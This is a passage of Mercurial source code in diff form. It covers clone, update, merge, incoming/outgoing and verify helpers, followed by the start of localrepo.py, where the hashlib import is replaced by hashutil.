             srcbookmarks = srcrepo.vfs.join(b'bookmarks')
             dstbookmarks = os.path.join(destpath, b'bookmarks')
             if os.path.exists(srcbookmarks):
                 util.copyfile(srcbookmarks, dstbookmarks)
 
             dstcachedir = os.path.join(destpath, b'cache')
             for cache in cacheutil.cachetocopy(srcrepo):
                 _copycache(srcrepo, dstcachedir, cache)
 
             # we need to re-init the repo after manually copying the data
             # into it
             destpeer = peer(srcrepo, peeropts, dest)
             srcrepo.hook(
                 b'outgoing', source=b'clone', node=node.hex(node.nullid)
             )
         else:
             try:
                 # only pass ui when no srcrepo
                 destpeer = peer(
                     srcrepo or ui,
                     peeropts,
                     dest,
                     create=True,
                     createopts=createopts,
                 )
             except OSError as inst:
                 if inst.errno == errno.EEXIST:
                     cleandir = None
                     raise error.Abort(
                         _(b"destination '%s' already exists") % dest
                     )
                 raise
 
             if revs:
                 if not srcpeer.capable(b'lookup'):
                     raise error.Abort(
                         _(
                             b"src repository does not support "
                             b"revision lookup and so doesn't "
                             b"support clone by revision"
                         )
                     )
 
                 # TODO this is batchable.
                 remoterevs = []
                 for rev in revs:
                     with srcpeer.commandexecutor() as e:
                         remoterevs.append(
                             e.callcommand(b'lookup', {b'key': rev,}).result()
                         )
                 revs = remoterevs
 
                 checkout = revs[0]
             else:
                 revs = None
             local = destpeer.local()
             if local:
                 if narrow:
                     with local.wlock(), local.lock():
                         local.setnarrowpats(storeincludepats, storeexcludepats)
                         narrowspec.copytoworkingcopy(local)
 
                 u = util.url(abspath)
                 defaulturl = bytes(u)
                 local.ui.setconfig(b'paths', b'default', defaulturl, b'clone')
                 if not stream:
                     if pull:
                         stream = False
                     else:
                         stream = None
                 # internal config: ui.quietbookmarkmove
                 overrides = {(b'ui', b'quietbookmarkmove'): True}
                 with local.ui.configoverride(overrides, b'clone'):
                     exchange.pull(
                         local,
                         srcpeer,
                         revs,
                         streamclonerequested=stream,
                         includepats=storeincludepats,
                         excludepats=storeexcludepats,
                         depth=depth,
                     )
             elif srcrepo:
                 # TODO lift restriction once exchange.push() accepts narrow
                 # push.
                 if narrow:
                     raise error.Abort(
                         _(
                             b'narrow clone not available for '
                             b'remote destinations'
                         )
                     )
 
                 exchange.push(
                     srcrepo,
                     destpeer,
                     revs=revs,
                     bookmarks=srcrepo._bookmarks.keys(),
                 )
             else:
                 raise error.Abort(
                     _(b"clone from remote to remote not supported")
                 )
 
         cleandir = None
 
         destrepo = destpeer.local()
         if destrepo:
             template = uimod.samplehgrcs[b'cloned']
             u = util.url(abspath)
             u.passwd = None
             defaulturl = bytes(u)
             destrepo.vfs.write(b'hgrc', util.tonativeeol(template % defaulturl))
             destrepo.ui.setconfig(b'paths', b'default', defaulturl, b'clone')
 
             if ui.configbool(b'experimental', b'remotenames'):
                 logexchange.pullremotenames(destrepo, srcpeer)
 
             if update:
                 if update is not True:
                     with srcpeer.commandexecutor() as e:
                         checkout = e.callcommand(
                             b'lookup', {b'key': update,}
                         ).result()
 
                 uprev = None
                 status = None
                 if checkout is not None:
                     # Some extensions (at least hg-git and hg-subversion) have
                     # a peer.lookup() implementation that returns a name instead
                     # of a nodeid. We work around it here until we've figured
                     # out a better solution.
                     if len(checkout) == 20 and checkout in destrepo:
                         uprev = checkout
                     elif scmutil.isrevsymbol(destrepo, checkout):
                         uprev = scmutil.revsymbol(destrepo, checkout).node()
                     else:
                         if update is not True:
                             try:
                                 uprev = destrepo.lookup(update)
                             except error.RepoLookupError:
                                 pass
                 if uprev is None:
                     try:
                         uprev = destrepo._bookmarks[b'@']
                         update = b'@'
                         bn = destrepo[uprev].branch()
                         if bn == b'default':
                             status = _(b"updating to bookmark @\n")
                         else:
                             status = (
                                 _(b"updating to bookmark @ on branch %s\n") % bn
                             )
                     except KeyError:
                         try:
                             uprev = destrepo.branchtip(b'default')
                         except error.RepoLookupError:
                             uprev = destrepo.lookup(b'tip')
                 if not status:
                     bn = destrepo[uprev].branch()
                     status = _(b"updating to branch %s\n") % bn
                 destrepo.ui.status(status)
                 _update(destrepo, uprev)
                 if update in destrepo._bookmarks:
                     bookmarks.activate(destrepo, update)
     finally:
         release(srclock, destlock)
         if cleandir is not None:
             shutil.rmtree(cleandir, True)
         if srcpeer is not None:
             srcpeer.close()
     return srcpeer, destpeer
 
 
 def _showstats(repo, stats, quietempty=False):
     if quietempty and stats.isempty():
         return
     repo.ui.status(
         _(
             b"%d files updated, %d files merged, "
             b"%d files removed, %d files unresolved\n"
         )
         % (
             stats.updatedcount,
             stats.mergedcount,
             stats.removedcount,
             stats.unresolvedcount,
         )
     )
 
 
 def updaterepo(repo, node, overwrite, updatecheck=None):
     """Update the working directory to node.
 
     When overwrite is set, changes are clobbered, merged else
 
     returns stats (see pydoc mercurial.merge.applyupdates)"""
     return mergemod.update(
         repo,
         node,
         branchmerge=False,
         force=overwrite,
         labels=[b'working copy', b'destination'],
         updatecheck=updatecheck,
     )
 
 
 def update(repo, node, quietempty=False, updatecheck=None):
     """update the working directory to node"""
     stats = updaterepo(repo, node, False, updatecheck=updatecheck)
     _showstats(repo, stats, quietempty)
     if stats.unresolvedcount:
         repo.ui.status(_(b"use 'hg resolve' to retry unresolved file merges\n"))
     return stats.unresolvedcount > 0
 
 
 # naming conflict in clone()
 _update = update
 
 
 def clean(repo, node, show_stats=True, quietempty=False):
     """forcibly switch the working directory to node, clobbering changes"""
     stats = updaterepo(repo, node, True)
     repo.vfs.unlinkpath(b'graftstate', ignoremissing=True)
     if show_stats:
         _showstats(repo, stats, quietempty)
     return stats.unresolvedcount > 0
 
 
 # naming conflict in updatetotally()
 _clean = clean
 
 _VALID_UPDATECHECKS = {
     mergemod.UPDATECHECK_ABORT,
     mergemod.UPDATECHECK_NONE,
     mergemod.UPDATECHECK_LINEAR,
     mergemod.UPDATECHECK_NO_CONFLICT,
 }
 
 
 def updatetotally(ui, repo, checkout, brev, clean=False, updatecheck=None):
     """Update the working directory with extra care for non-file components
 
     This takes care of non-file components below:
 
     :bookmark: might be advanced or (in)activated
 
     This takes arguments below:
 
     :checkout: to which revision the working directory is updated
     :brev: a name, which might be a bookmark to be activated after updating
     :clean: whether changes in the working directory can be discarded
     :updatecheck: how to deal with a dirty working directory
 
     Valid values for updatecheck are the UPDATECHECK_* constants
     defined in the merge module. Passing `None` will result in using the
     configured default.
 
      * ABORT: abort if the working directory is dirty
      * NONE: don't check (merge working directory changes into destination)
      * LINEAR: check that update is linear before merging working directory
                changes into destination
      * NO_CONFLICT: check that the update does not result in file merges
 
     This returns whether conflict is detected at updating or not.
     """
     if updatecheck is None:
         updatecheck = ui.config(b'commands', b'update.check')
         if updatecheck not in _VALID_UPDATECHECKS:
             # If not configured, or invalid value configured
             updatecheck = mergemod.UPDATECHECK_LINEAR
     if updatecheck not in _VALID_UPDATECHECKS:
         raise ValueError(
             r'Invalid updatecheck value %r (can accept %r)'
             % (updatecheck, _VALID_UPDATECHECKS)
         )
     with repo.wlock():
         movemarkfrom = None
         warndest = False
         if checkout is None:
             updata = destutil.destupdate(repo, clean=clean)
             checkout, movemarkfrom, brev = updata
             warndest = True
 
         if clean:
             ret = _clean(repo, checkout)
         else:
             if updatecheck == mergemod.UPDATECHECK_ABORT:
                 cmdutil.bailifchanged(repo, merge=False)
                 updatecheck = mergemod.UPDATECHECK_NONE
             ret = _update(repo, checkout, updatecheck=updatecheck)
 
         if not ret and movemarkfrom:
             if movemarkfrom == repo[b'.'].node():
                 pass  # no-op update
             elif bookmarks.update(repo, [movemarkfrom], repo[b'.'].node()):
                 b = ui.label(repo._activebookmark, b'bookmarks.active')
                 ui.status(_(b"updating bookmark %s\n") % b)
             else:
                 # this can happen with a non-linear update
                 b = ui.label(repo._activebookmark, b'bookmarks')
                 ui.status(_(b"(leaving bookmark %s)\n") % b)
                 bookmarks.deactivate(repo)
         elif brev in repo._bookmarks:
             if brev != repo._activebookmark:
                 b = ui.label(brev, b'bookmarks.active')
                 ui.status(_(b"(activating bookmark %s)\n") % b)
             bookmarks.activate(repo, brev)
         elif brev:
             if repo._activebookmark:
                 b = ui.label(repo._activebookmark, b'bookmarks')
                 ui.status(_(b"(leaving bookmark %s)\n") % b)
             bookmarks.deactivate(repo)
 
         if warndest:
             destutil.statusotherdests(ui, repo)
 
     return ret
 
 
 def merge(
     repo,
     node,
     force=None,
     remind=True,
     mergeforce=False,
     labels=None,
     abort=False,
 ):
     """Branch merge with node, resolving changes. Return true if any
     unresolved conflicts."""
     if abort:
         return abortmerge(repo.ui, repo)
 
     stats = mergemod.update(
         repo,
         node,
         branchmerge=True,
         force=force,
         mergeforce=mergeforce,
         labels=labels,
     )
     _showstats(repo, stats)
     if stats.unresolvedcount:
         repo.ui.status(
             _(
                 b"use 'hg resolve' to retry unresolved file merges "
                 b"or 'hg merge --abort' to abandon\n"
             )
         )
     elif remind:
         repo.ui.status(_(b"(branch merge, don't forget to commit)\n"))
     return stats.unresolvedcount > 0
 
 
 def abortmerge(ui, repo):
     ms = mergemod.mergestate.read(repo)
     if ms.active():
         # there were conflicts
         node = ms.localctx.hex()
     else:
         # there were no conficts, mergestate was not stored
         node = repo[b'.'].hex()
 
     repo.ui.status(_(b"aborting the merge, updating back to %s\n") % node[:12])
     stats = mergemod.update(repo, node, branchmerge=False, force=True)
     _showstats(repo, stats)
     return stats.unresolvedcount > 0
 
 
 def _incoming(
     displaychlist, subreporecurse, ui, repo, source, opts, buffered=False
 ):
     """
     Helper for incoming / gincoming.
     displaychlist gets called with
         (remoterepo, incomingchangesetlist, displayer) parameters,
     and is supposed to contain only code that can't be unified.
     """
     source, branches = parseurl(ui.expandpath(source), opts.get(b'branch'))
     other = peer(repo, opts, source)
     ui.status(_(b'comparing with %s\n') % util.hidepassword(source))
     revs, checkout = addbranchrevs(repo, other, branches, opts.get(b'rev'))
 
     if revs:
         revs = [other.lookup(rev) for rev in revs]
     other, chlist, cleanupfn = bundlerepo.getremotechanges(
         ui, repo, other, revs, opts[b"bundle"], opts[b"force"]
     )
     try:
         if not chlist:
             ui.status(_(b"no changes found\n"))
             return subreporecurse()
         ui.pager(b'incoming')
         displayer = logcmdutil.changesetdisplayer(
             ui, other, opts, buffered=buffered
         )
         displaychlist(other, chlist, displayer)
         displayer.close()
     finally:
         cleanupfn()
     subreporecurse()
     return 0  # exit code is zero since we found incoming changes
 
 
 def incoming(ui, repo, source, opts):
     def subreporecurse():
         ret = 1
         if opts.get(b'subrepos'):
             ctx = repo[None]
             for subpath in sorted(ctx.substate):
                 sub = ctx.sub(subpath)
                 ret = min(ret, sub.incoming(ui, source, opts))
         return ret
 
     def display(other, chlist, displayer):
         limit = logcmdutil.getlimit(opts)
         if opts.get(b'newest_first'):
             chlist.reverse()
         count = 0
         for n in chlist:
             if limit is not None and count >= limit:
                 break
             parents = [p for p in other.changelog.parents(n) if p != nullid]
             if opts.get(b'no_merges') and len(parents) == 2:
                 continue
             count += 1
             displayer.show(other[n])
 
     return _incoming(display, subreporecurse, ui, repo, source, opts)
 
 
 def _outgoing(ui, repo, dest, opts):
     path = ui.paths.getpath(dest, default=(b'default-push', b'default'))
     if not path:
         raise error.Abort(
             _(b'default repository not configured!'),
             hint=_(b"see 'hg help config.paths'"),
         )
     dest = path.pushloc or path.loc
     branches = path.branch, opts.get(b'branch') or []
 
     ui.status(_(b'comparing with %s\n') % util.hidepassword(dest))
     revs, checkout = addbranchrevs(repo, repo, branches, opts.get(b'rev'))
     if revs:
         revs = [repo[rev].node() for rev in scmutil.revrange(repo, revs)]
 
     other = peer(repo, opts, dest)
     outgoing = discovery.findcommonoutgoing(
         repo, other, revs, force=opts.get(b'force')
     )
     o = outgoing.missing
     if not o:
         scmutil.nochangesfound(repo.ui, repo, outgoing.excluded)
     return o, other
 
 
 def outgoing(ui, repo, dest, opts):
     def recurse():
         ret = 1
         if opts.get(b'subrepos'):
             ctx = repo[None]
             for subpath in sorted(ctx.substate):
                 sub = ctx.sub(subpath)
                 ret = min(ret, sub.outgoing(ui, dest, opts))
         return ret
 
     limit = logcmdutil.getlimit(opts)
     o, other = _outgoing(ui, repo, dest, opts)
     if not o:
         cmdutil.outgoinghooks(ui, repo, other, opts, o)
         return recurse()
 
     if opts.get(b'newest_first'):
         o.reverse()
     ui.pager(b'outgoing')
     displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
     count = 0
     for n in o:
         if limit is not None and count >= limit:
             break
         parents = [p for p in repo.changelog.parents(n) if p != nullid]
         if opts.get(b'no_merges') and len(parents) == 2:
             continue
         count += 1
         displayer.show(repo[n])
     displayer.close()
     cmdutil.outgoinghooks(ui, repo, other, opts, o)
     recurse()
     return 0  # exit code is zero since we found outgoing changes
 
 
 def verify(repo, level=None):
     """verify the consistency of a repository"""
     ret = verifymod.verify(repo, level=level)
 
     # Broken subrepo references in hidden csets don't seem worth worrying about,
     # since they can't be pushed/pulled, and --hidden can be used if they are a
     # concern.
 
     # pathto() is needed for -R case
     revs = repo.revs(
         b"filelog(%s)", util.pathto(repo.root, repo.getcwd(), b'.hgsubstate')
     )
 
     if revs:
         repo.ui.status(_(b'checking subrepo links\n'))
         for rev in revs:
             ctx = repo[rev]
             try:
                 for subpath in ctx.substate:
                     try:
                         ret = (
                             ctx.sub(subpath, allowcreate=False).verify() or ret
                         )
                     except error.RepoError as e:
                         repo.ui.warn(b'%d: %s\n' % (rev, e))
             except Exception:
                 repo.ui.warn(
                     _(b'.hgsubstate is corrupt in revision %s\n')
                     % node.short(ctx.node())
                 )
 
     return ret
 
 
 def remoteui(src, opts):
     """build a remote ui from ui or repo and opts"""
     if util.safehasattr(src, b'baseui'):  # looks like a repository
         dst = src.baseui.copy()  # drop repo-specific config
         src = src.ui  # copy target options from repo
     else:  # assume it's a global ui object
         dst = src.copy()  # keep all global options
 
     # copy ssh-specific options
     for o in b'ssh', b'remotecmd':
         v = opts.get(o) or src.config(b'ui', o)
         if v:
             dst.setconfig(b"ui", o, v, b'copied')
 
     # copy bundle-specific options
     r = src.config(b'bundle', b'mainreporoot')
     if r:
         dst.setconfig(b'bundle', b'mainreporoot', r, b'copied')
 
     # copy selected local settings to the remote ui
     for sect in (b'auth', b'hostfingerprints', b'hostsecurity', b'http_proxy'):
         for key, val in src.configitems(sect):
             dst.setconfig(sect, key, val, b'copied')
     v = src.config(b'web', b'cacerts')
     if v:
         dst.setconfig(b'web', b'cacerts', util.expandpath(v), b'copied')
 
     return dst
 
 
 # Files of interest
 # Used to check if the repository has changed looking at mtime and size of
 # these files.
 foi = [
     (b'spath', b'00changelog.i'),
     (b'spath', b'phaseroots'),  # ! phase can change content at the same size
     (b'spath', b'obsstore'),
     (b'path', b'bookmarks'),  # ! bookmark can change content at the same size
 ]
 
 
 class cachedlocalrepo(object):
     """Holds a localrepository that can be cached and reused."""
 
     def __init__(self, repo):
         """Create a new cached repo from an existing repo.
 
         We assume the passed in repo was recently created. If the
         repo has changed between when it was created and when it was
         turned into a cache, it may not refresh properly.
         """
         assert isinstance(repo, localrepo.localrepository)
         self._repo = repo
         self._state, self.mtime = self._repostate()
         self._filtername = repo.filtername
 
     def fetch(self):
         """Refresh (if necessary) and return a repository.
 
         If the cached instance is out of date, it will be recreated
         automatically and returned.
 
         Returns a tuple of the repo and a boolean indicating whether a new
         repo instance was created.
         """
         # We compare the mtimes and sizes of some well-known files to
         # determine if the repo changed. This is not precise, as mtimes
         # are susceptible to clock skew and imprecise filesystems and
         # file content can change while maintaining the same size.
 
         state, mtime = self._repostate()
         if state == self._state:
             return self._repo, False
 
         repo = repository(self._repo.baseui, self._repo.url())
         if self._filtername:
             self._repo = repo.filtered(self._filtername)
         else:
             self._repo = repo.unfiltered()
         self._state = state
         self.mtime = mtime
 
         return self._repo, True
 
     def _repostate(self):
         state = []
         maxmtime = -1
         for attr, fname in foi:
             prefix = getattr(self._repo, attr)
             p = os.path.join(prefix, fname)
             try:
                 st = os.stat(p)
             except OSError:
                 st = os.stat(prefix)
             state.append((st[stat.ST_MTIME], st.st_size))
             maxmtime = max(maxmtime, st[stat.ST_MTIME])
 
         return tuple(state), maxmtime
 
     def copy(self):
         """Obtain a copy of this class instance.
 
         A new localrepository instance is obtained. The new instance should be
         completely independent of the original.
         """
         repo = repository(self._repo.baseui, self._repo.origroot)
         if self._filtername:
             repo = repo.filtered(self._filtername)
         else:
             repo = repo.unfiltered()
         c = cachedlocalrepo(repo)
         c._state = self._state
         c.mtime = self.mtime
         return c

mercurial/localrepo.py

@@ -1,3734 +1,3734
 # localrepo.py - read/write repository class for mercurial
 #
 # Copyright 2005-2007 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import errno
-import hashlib
 import os
 import random
 import sys
 import time
 import weakref
 
 from .i18n import _
 from .node import (
     bin,
     hex,
     nullid,
     nullrev,
     short,
 )
 from .pycompat import (
     delattr,
     getattr,
 )
 from . import (
     bookmarks,
     branchmap,
     bundle2,
     changegroup,
     color,
     context,
     dirstate,
     dirstateguard,
     discovery,
     encoding,
     error,
     exchange,
     extensions,
     filelog,
     hook,
     lock as lockmod,
     match as matchmod,
     merge as mergemod,
     mergeutil,
     namespaces,
     narrowspec,
     obsolete,
     pathutil,
     phases,
     pushkey,
     pycompat,
     repoview,
     revset,
     revsetlang,
     scmutil,
     sparse,
     store as storemod,
     subrepoutil,
     tags as tagsmod,
     transaction,
     txnutil,
     util,
     vfs as vfsmod,
 )
 
 from .interfaces import (
     repository,
     util as interfaceutil,
 )
 
 from .utils import (
+    hashutil,
     procutil,
     stringutil,
 )
 
 from .revlogutils import constants as revlogconst
 
 release = lockmod.release
 urlerr = util.urlerr
 urlreq = util.urlreq
 
 # set of (path, vfs-location) tuples. vfs-location is:
 # - 'plain for vfs relative paths
 # - '' for svfs relative paths
 _cachedfiles = set()
 
 
 class _basefilecache(scmutil.filecache):
     """All filecache usage on repo are done for logic that should be unfiltered
     """
 
     def __get__(self, repo, type=None):
         if repo is None:
             return self
         # proxy to unfiltered __dict__ since filtered repo has no entry
         unfi = repo.unfiltered()
         try:
             return unfi.__dict__[self.sname]
         except KeyError:
             pass
         return super(_basefilecache, self).__get__(unfi, type)
 
     def set(self, repo, value):
         return super(_basefilecache, self).set(repo.unfiltered(), value)
 
 
 class repofilecache(_basefilecache):
     """filecache for files in .hg but outside of .hg/store"""
 
     def __init__(self, *paths):
         super(repofilecache, self).__init__(*paths)
         for path in paths:
             _cachedfiles.add((path, b'plain'))
 
     def join(self, obj, fname):
         return obj.vfs.join(fname)
 
 
 class storecache(_basefilecache):
     """filecache for files in the store"""
 
     def __init__(self, *paths):
         super(storecache, self).__init__(*paths)
         for path in paths:
             _cachedfiles.add((path, b''))
 
     def join(self, obj, fname):
         return obj.sjoin(fname)
 
 
 class mixedrepostorecache(_basefilecache):
     """filecache for a mix files in .hg/store and outside"""
 
     def __init__(self, *pathsandlocations):
         # scmutil.filecache only uses the path for passing back into our
         # join(), so we can safely pass a list of paths and locations
         super(mixedrepostorecache, self).__init__(*pathsandlocations)
         _cachedfiles.update(pathsandlocations)
 
     def join(self, obj, fnameandlocation):
         fname, location = fnameandlocation
         if location == b'plain':
             return obj.vfs.join(fname)
         else:
             if location != b'':
                 raise error.ProgrammingError(
                     b'unexpected location: %s' % location
                 )
             return obj.sjoin(fname)
 
 
 def isfilecached(repo, name):
     """check if a repo has already cached "name" filecache-ed property
 
     This returns (cachedobj-or-None, iscached) tuple.
     """
     cacheentry = repo.unfiltered()._filecache.get(name, None)
     if not cacheentry:
         return None, False
     return cacheentry.obj, True
 
 
 class unfilteredpropertycache(util.propertycache):
     """propertycache that apply to unfiltered repo only"""
 
     def __get__(self, repo, type=None):
         unfi = repo.unfiltered()
         if unfi is repo:
             return super(unfilteredpropertycache, self).__get__(unfi)
         return getattr(unfi, self.name)
 
 
 class filteredpropertycache(util.propertycache):
     """propertycache that must take filtering in account"""
 
     def cachevalue(self, obj, value):
         object.__setattr__(obj, self.name, value)
 
 
 def hasunfilteredcache(repo, name):
     """check if a repo has an unfilteredpropertycache value for <name>"""
     return name in vars(repo.unfiltered())
 
 
 def unfilteredmethod(orig):
     """decorate method that always need to be run on unfiltered version"""
 
     def wrapper(repo, *args, **kwargs):
         return orig(repo.unfiltered(), *args, **kwargs)
 
     return wrapper
 
 
 moderncaps = {
     b'lookup',
     b'branchmap',
     b'pushkey',
     b'known',
     b'getbundle',
     b'unbundle',
 }
 legacycaps = moderncaps.union({b'changegroupsubset'})
 
 
 @interfaceutil.implementer(repository.ipeercommandexecutor)
 class localcommandexecutor(object):
     def __init__(self, peer):
         self._peer = peer
         self._sent = False
         self._closed = False
 
     def __enter__(self):
         return self
 
     def __exit__(self, exctype, excvalue, exctb):
         self.close()
 
     def callcommand(self, command, args):
         if self._sent:
             raise error.ProgrammingError(
                 b'callcommand() cannot be used after sendcommands()'
             )
 
         if self._closed:
             raise error.ProgrammingError(
                 b'callcommand() cannot be used after close()'
             )
 
         # We don't need to support anything fancy. Just call the named
         # method on the peer and return a resolved future.
         fn = getattr(self._peer, pycompat.sysstr(command))
 
         f = pycompat.futures.Future()
 
         try:
             result = fn(**pycompat.strkwargs(args))
         except Exception:
             pycompat.future_set_exception_info(f, sys.exc_info()[1:])
         else:
             f.set_result(result)
 
         return f
 
     def sendcommands(self):
         self._sent = True
 
     def close(self):
         self._closed = True
 
 
 @interfaceutil.implementer(repository.ipeercommands)
 class localpeer(repository.peer):
     '''peer for a local repo; reflects only the most recent API'''
 
     def __init__(self, repo, caps=None):
         super(localpeer, self).__init__()
 
         if caps is None:
             caps = moderncaps.copy()
         self._repo = repo.filtered(b'served')
         self.ui = repo.ui
         self._caps = repo._restrictcapabilities(caps)
 
     # Begin of _basepeer interface.
 
     def url(self):
         return self._repo.url()
 
     def local(self):
         return self._repo
 
     def peer(self):
         return self
 
     def canpush(self):
         return True
 
     def close(self):
         self._repo.close()
 
     # End of _basepeer interface.
 
     # Begin of _basewirecommands interface.
 
     def branchmap(self):
         return self._repo.branchmap()
 
     def capabilities(self):
         return self._caps
 
     def clonebundles(self):
         return self._repo.tryread(b'clonebundles.manifest')
 
     def debugwireargs(self, one, two, three=None, four=None, five=None):
         """Used to test argument passing over the wire"""
         return b"%s %s %s %s %s" % (
             one,
             two,
             pycompat.bytestr(three),
             pycompat.bytestr(four),
             pycompat.bytestr(five),
         )
 
     def getbundle(
         self, source, heads=None, common=None, bundlecaps=None, **kwargs
     ):
         chunks = exchange.getbundlechunks(
             self._repo,
             source,
             heads=heads,
             common=common,
             bundlecaps=bundlecaps,
             **kwargs
         )[1]
         cb = util.chunkbuffer(chunks)
 
         if exchange.bundle2requested(bundlecaps):
             # When requesting a bundle2, getbundle returns a stream to make the
             # wire level function happier. We need to build a proper object
             # from it in local peer.
             return bundle2.getunbundler(self.ui, cb)
         else:
             return changegroup.getunbundler(b'01', cb, None)
 
     def heads(self):
         return self._repo.heads()
 
     def known(self, nodes):
         return self._repo.known(nodes)
 
     def listkeys(self, namespace):
         return self._repo.listkeys(namespace)
 
     def lookup(self, key):
         return self._repo.lookup(key)
 
     def pushkey(self, namespace, key, old, new):
         return self._repo.pushkey(namespace, key, old, new)
 
     def stream_out(self):
         raise error.Abort(_(b'cannot perform stream clone against local peer'))
 
     def unbundle(self, bundle, heads, url):
         """apply a bundle on a repo
 
         This function handles the repo locking itself."""
         try:
             try:
                 bundle = exchange.readbundle(self.ui, bundle, None)
                 ret = exchange.unbundle(self._repo, bundle, heads, b'push', url)
                 if util.safehasattr(ret, b'getchunks'):
                     # This is a bundle20 object, turn it into an unbundler.
                     # This little dance should be dropped eventually when the
                     # API is finally improved.
                     stream = util.chunkbuffer(ret.getchunks())
                     ret = bundle2.getunbundler(self.ui, stream)
                 return ret
             except Exception as exc:
                 # If the exception contains output salvaged from a bundle2
                 # reply, we need to make sure it is printed before continuing
                 # to fail. So we build a bundle2 with such output and consume
                 # it directly.
                 #
                 # This is not very elegant but allows a "simple" solution for
                 # issue4594
                 output = getattr(exc, '_bundle2salvagedoutput', ())
                 if output:
                     bundler = bundle2.bundle20(self._repo.ui)
                     for out in output:
                         bundler.addpart(out)
                     stream = util.chunkbuffer(bundler.getchunks())
                     b = bundle2.getunbundler(self.ui, stream)
                     bundle2.processbundle(self._repo, b)
                 raise
         except error.PushRaced as exc:
             raise error.ResponseError(
                 _(b'push failed:'), stringutil.forcebytestr(exc)
             )
 
     # End of _basewirecommands interface.
 
     # Begin of peer interface.
 
     def commandexecutor(self):
         return localcommandexecutor(self)
 
     # End of peer interface.
 
 
 @interfaceutil.implementer(repository.ipeerlegacycommands)
 class locallegacypeer(localpeer):
     '''peer extension which implements legacy methods too; used for tests with
     restricted capabilities'''
 
     def __init__(self, repo):
         super(locallegacypeer, self).__init__(repo, caps=legacycaps)
 
     # Begin of baselegacywirecommands interface.
 
     def between(self, pairs):
         return self._repo.between(pairs)
 
     def branches(self, nodes):
         return self._repo.branches(nodes)
 
     def changegroup(self, nodes, source):
         outgoing = discovery.outgoing(
             self._repo, missingroots=nodes, missingheads=self._repo.heads()
         )
         return changegroup.makechangegroup(self._repo, outgoing, b'01', source)
 
     def changegroupsubset(self, bases, heads, source):
         outgoing = discovery.outgoing(
             self._repo, missingroots=bases, missingheads=heads
         )
         return changegroup.makechangegroup(self._repo, outgoing, b'01', source)
 
     # End of baselegacywirecommands interface.
 
 
 # Increment the sub-version when the revlog v2 format changes to lock out old
 # clients.
 REVLOGV2_REQUIREMENT = b'exp-revlogv2.1'
 
 # A repository with the sparserevlog feature will have delta chains that
 # can spread over a larger span. Sparse reading cuts these large spans into
 # pieces, so that each piece isn't too big.
 # Without the sparserevlog capability, reading from the repository could use
 # huge amounts of memory, because the whole span would be read at once,
 # including all the intermediate revisions that aren't pertinent for the chain.
 # This is why once a repository has enabled sparse-read, it becomes required.
 SPARSEREVLOG_REQUIREMENT = b'sparserevlog'
 
 # A repository with the sidedataflag requirement will allow to store extra
 # information for revision without altering their original hashes.
 SIDEDATA_REQUIREMENT = b'exp-sidedata-flag'
 
 # A repository with the the copies-sidedata-changeset requirement will store
 # copies related information in changeset's sidedata.
 COPIESSDC_REQUIREMENT = b'exp-copies-sidedata-changeset'
 
 # Functions receiving (ui, features) that extensions can register to impact
 # the ability to load repositories with custom requirements. Only
 # functions defined in loaded extensions are called.
 #
 # The function receives a set of requirement strings that the repository
 # is capable of opening. Functions will typically add elements to the
 # set to reflect that the extension knows how to handle that requirements.
 featuresetupfuncs = set()
 
 
 def makelocalrepository(baseui, path, intents=None):
     """Create a local repository object.
 
     Given arguments needed to construct a local repository, this function
     performs various early repository loading functionality (such as
     reading the ``.hg/requires`` and ``.hg/hgrc`` files), validates that
     the repository can be opened, derives a type suitable for representing
     that repository, and returns an instance of it.
 
     The returned object conforms to the ``repository.completelocalrepository``
     interface.
 
     The repository type is derived by calling a series of factory functions
     for each aspect/interface of the final repository. These are defined by
     ``REPO_INTERFACES``.
 
     Each factory function is called to produce a type implementing a specific
     interface. The cumulative list of returned types will be combined into a
     new type and that type will be instantiated to represent the local
     repository.
 
     The factory functions each receive various state that may be consulted
     as part of deriving a type.
 
     Extensions should wrap these factory functions to customize repository type
     creation. Note that an extension's wrapped function may be called even if
     that extension is not loaded for the repo being constructed. Extensions
     should check if their ``__name__`` appears in the
     ``extensionmodulenames`` set passed to the factory function and no-op if
     not.
     """
     ui = baseui.copy()
     # Prevent copying repo configuration.
     ui.copy = baseui.copy
 
     # Working directory VFS rooted at repository root.
     wdirvfs = vfsmod.vfs(path, expandpath=True, realpath=True)
 
     # Main VFS for .hg/ directory.
     hgpath = wdirvfs.join(b'.hg')
     hgvfs = vfsmod.vfs(hgpath, cacheaudited=True)
 
     # The .hg/ path should exist and should be a directory. All other
     # cases are errors.
     if not hgvfs.isdir():
         try:
             hgvfs.stat()
         except OSError as e:
             if e.errno != errno.ENOENT:
                 raise
 
         raise error.RepoError(_(b'repository %s not found') % path)
 
     # .hg/requires file contains a newline-delimited list of
     # features/capabilities the opener (us) must have in order to use
     # the repository. This file was introduced in Mercurial 0.9.2,
     # which means very old repositories may not have one. We assume
     # a missing file translates to no requirements.
     try:
         requirements = set(hgvfs.read(b'requires').splitlines())
     except IOError as e:
         if e.errno != errno.ENOENT:
             raise
         requirements = set()
 
     # The .hg/hgrc file may load extensions or contain config options
     # that influence repository construction. Attempt to load it and
     # process any new extensions that it may have pulled in.
     if loadhgrc(ui, wdirvfs, hgvfs, requirements):
         afterhgrcload(ui, wdirvfs, hgvfs, requirements)
         extensions.loadall(ui)
         extensions.populateui(ui)
 
     # Set of module names of extensions loaded for this repository.
     extensionmodulenames = {m.__name__ for n, m in extensions.extensions(ui)}
 
     supportedrequirements = gathersupportedrequirements(ui)
 
     # We first validate the requirements are known.
     ensurerequirementsrecognized(requirements, supportedrequirements)
 
     # Then we validate that the known set is reasonable to use together.
     ensurerequirementscompatible(ui, requirements)
 
     # TODO there are unhandled edge cases related to opening repositories with
     # shared storage. If storage is shared, we should also test for requirements
     # compatibility in the pointed-to repo. This entails loading the .hg/hgrc in
     # that repo, as that repo may load extensions needed to open it. This is a
     # bit complicated because we don't want the other hgrc to overwrite settings
     # in this hgrc.
     #
     # This bug is somewhat mitigated by the fact that we copy the .hg/requires
     # file when sharing repos. But if a requirement is added after the share is
     # performed, thereby introducing a new requirement for the opener, we may
     # will not see that and could encounter a run-time error interacting with
     # that shared store since it has an unknown-to-us requirement.
 
     # At this point, we know we should be capable of opening the repository.
     # Now get on with doing that.
 
     features = set()
 
     # The "store" part of the repository holds versioned data. How it is
     # accessed is determined by various requirements. The ``shared`` or
     # ``relshared`` requirements indicate the store lives in the path contained
     # in the ``.hg/sharedpath`` file. This is an absolute path for
